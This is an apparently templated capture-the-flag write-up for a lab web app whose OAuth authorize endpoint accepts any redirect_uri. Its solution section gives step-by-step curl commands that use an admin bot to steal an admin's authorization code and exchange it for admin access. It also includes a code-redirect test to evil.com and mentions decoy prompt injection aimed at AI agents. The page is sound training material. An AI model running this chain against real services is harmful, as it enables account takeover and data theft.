DevRelay — Open Redirect in OAuth Authorization
DevRelay — Open Redirect in OAuth Authorization
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-01 | Status: Solved Techniques: admin_bot_exploitation, authorization_code_interception, oauth_redirect_uri_open_redirect, oauth_token_exchange, request_bin_exfiltration
Summary
Task: DevRelay API platform uses OAuth 2.0 Authorization Code flow with no redirect_uri validation, plus an admin bot that visits user-submitted URLs. Solution: Craft malicious OAuth authorize URL redirecting the admin's auth code to a Request Bin, exchange the code for an access token, and access /api/admin/secrets.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260501_hackadvisor_devrelay - Tags: nodejs, session_hijacking, nginx, express, admin_bot, oauth2, open_redirect, authorization_code_flow, request_bin, token_exchange
- Indicators: OAuth /oauth/authorize endpoint with no redirect_uri validation, support portal with admin bot that visits submitted URLs (admin is authenticated), built-in Request Bin feature usable as same-origin exfiltration endpoint, public OAuth client with no client_secret required for token exchange, robots.txt revealing /api/admin/secrets and /api/admin/config endpoints
- Source:
20260501_hackadvisor_devrelay.md
Foothold
Vulnerability / Misconfiguration
- Admin_bot_exploitation
- Authorization_code_interception
- Oauth_redirect_uri_open_redirect
- Oauth_token_exchange
- Request_bin_exfiltration
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- admin_bot_exploitation
- authorization_code_interception
- oauth_redirect_uri_open_redirect
- oauth_token_exchange
- request_bin_exfiltration
- Tags: nodejs, session_hijacking, nginx, express, admin_bot, oauth2, open_redirect, authorization_code_flow, request_bin, token_exchange
Original Writeup
<details><summary>Click to expand original content</summary>Description
DevRelay is a comprehensive API development platform built by Relay Software Inc. It helps developers build, test, and monitor their APIs with features including OAuth-based single sign-on, API project management, a built-in request bin for debugging webhooks, and a support portal. The platform uses OAuth 2.0 Authorization Code flow for its SSO login system. Users can manage API projects, define endpoints, capture and inspect HTTP requests using request bins, and generate personal API keys. The support portal allows users to submit URLs for the admin team to review — an administrator will visit the submitted URL within seconds. The goal is to find a vulnerability in the OAuth flow that allows you to compromise the admin account and retrieve the secret flag from the admin API.
English summary: An Express.js (Node.js) API development platform behind nginx/1.25.5. The platform features OAuth 2.0 Authorization Code flow for SSO, a Request Bin for capturing HTTP requests, and a Support Portal where an admin bot visits user-submitted URLs. The OAuth /oauth/authorize endpoint performs zero validation on the redirect_uri parameter, allowing authorization codes to be redirected to arbitrary URLs. Combined with the admin bot and the built-in Request Bin (same origin), this enables stealing the admin's OAuth authorization code and exchanging it for an access token to access admin-only API endpoints.
Target: https://fad94eea-30da-4d20-89f6-df23fe06973c.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: Express.js (Node.js), nginx/1.25.5, OAuth 2.0 Authorization Code flow
Analysis
Reconnaissance
- Logged in with provided credentials
user@test.com / password123 - Platform is Express/Node.js behind nginx/1.25.5
- Login page reveals OAuth SSO link:
/oauth/authorize?client_id=devrelay-app&response_type=code&redirect_uri=http://localhost:8080/oauth/callback&scope=read+write robots.txtreveals sensitive endpoints:/api/admin/,/api/admin/secrets,/api/admin/config- HTML pages contain decoy/honeypot flags (
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) with prompt injection attempts targeting AI agents — correctly ignored - Settings page reveals: OAuth token endpoint at
http://localhost:8080/oauth/token, public client (no client secret required)
Key Endpoints
| Endpoint | Method | Purpose |
|---|---|---|
/oauth/authorize | GET | OAuth authorization — no redirect_uri validation |
/oauth/token | POST | Exchange authorization code for access token |
/api/requestbin | POST | Create a new Request Bin |
/api/requestbin/:id | GET | View captured requests |
/api/requestbin/:id/capture | ANY | Capture incoming requests (URL + headers + body) |
/api/support | POST | Submit URL for admin bot to visit |
/api/admin/secrets | GET | Admin-only endpoint containing the flag |
/api/admin/config | GET | Admin-only config (also contains flag as platform_master_key) |
| |
Vulnerability — OAuth Open Redirect
The core vulnerability is a complete lack of redirect_uri validation in the OAuth /oauth/authorize endpoint:
- The legitimate redirect URI is
http://localhost:8080/oauth/callback - Testing with
redirect_uri=http://evil.com/callback→ server responds302 Foundredirecting tohttp://evil.com/callback?code=<auth_code> - Any URL is accepted as
redirect_uri, including the platform's own Request Bin capture endpoint - The OAuth client is public (no
client_secretrequired), so anyone with an authorization code can exchange it for an access token
Attack Chain
- Attacker creates a Request Bin on the platform → gets a capture URL on the same origin
- Attacker crafts a malicious OAuth URL with
redirect_uripointing to the Request Bin capture endpoint - Attacker submits the URL to the Support Portal → admin bot visits it
- Admin bot is already authenticated → OAuth flow auto-approves → redirects to Request Bin with admin's auth code in query params
- Attacker reads the captured request from the Request Bin → extracts the authorization code
- Attacker exchanges the code for an access token at
/oauth/token - Attacker accesses
/api/admin/secretswith the admin's access token → flag
Solution
Step 1: Create a Request Bin for Exfiltration
# Create a new Request Bin
curl -s -X POST "https://<target>/api/requestbin" \
-H "Cookie: <session_cookie>" \
-H "Content-Type: application/json" \
-d '{"name": "OAuth Capture"}' | jq .
# Response: {"id": "2af22b3f-3c40-4dd4-92c6-ba2d81560d7e", ...}
Capture URL: http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture
Step 2: Craft Malicious OAuth URL
http://localhost:8080/oauth/authorize?client_id=devrelay-app&response_type=code&redirect_uri=http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture&scope=read+write
This URL, when visited by an authenticated user, will:
- Generate an authorization code for that user
- Redirect them to our Request Bin with
?code=<auth_code>in the URL
Step 3: Submit to Support Portal (Trigger Admin Bot)
curl -s -X POST "https://<target>/api/support" \
-H "Cookie: <session_cookie>" \
-H "Content-Type: application/json" \
-d '{
"url": "http://localhost:8080/oauth/authorize?client_id=devrelay-app&response_type=code&redirect_uri=http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture&scope=read+write",
"description": "Bug report"
}'
The admin bot (HeadlessChrome/124.0.0.0 on Linux) visits the URL within seconds. Since the admin is already authenticated, the OAuth flow auto-approves and redirects to our Request Bin.
Step 4: Capture Admin's Authorization Code
# Check the Request Bin for captured requests curl -s "https://<target>/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e" \ -H "Cookie: <session_cookie>" | jq .
The captured request contains:
- Authorization code in query params:
code=3d39a4bfacfe0ee234fc64b43f1a333d1c8d8a331e66a7b4 - Admin's session cookie (JWT) in the Cookie header
- Admin identified as: Sarah (admin@devrelay.io), userId:
888e0203-b29f-4c81-b57b-0d2222aef759
Step 5: Exchange Code for Access Token
curl -s -X POST "https://<target>/oauth/token" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "grant_type=authorization_code&code=3d39a4bfacfe0ee234fc64b43f1a333d1c8d8a331e66a7b4&redirect_uri=http://localhost:8080/api/requestbin/2af22b3f-3c40-4dd4-92c6-ba2d81560d7e/capture&client_id=devrelay-app"
Response:
{
"access_token": "<admin_access_token>",
"token_type": "Bearer",
"expires_in": 3600,
"scope": "read write"
}
Important: The redirect_uri in the token exchange must match the one used in the authorization request.
Step 6: Access Admin Secrets
curl -s "https://<target>/api/admin/secrets" \ -H "Authorization: Bearer <admin_access_token>" | jq .
Response contains the flag. Also confirmed via /api/admin/config which returns the same flag as platform_master_key.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR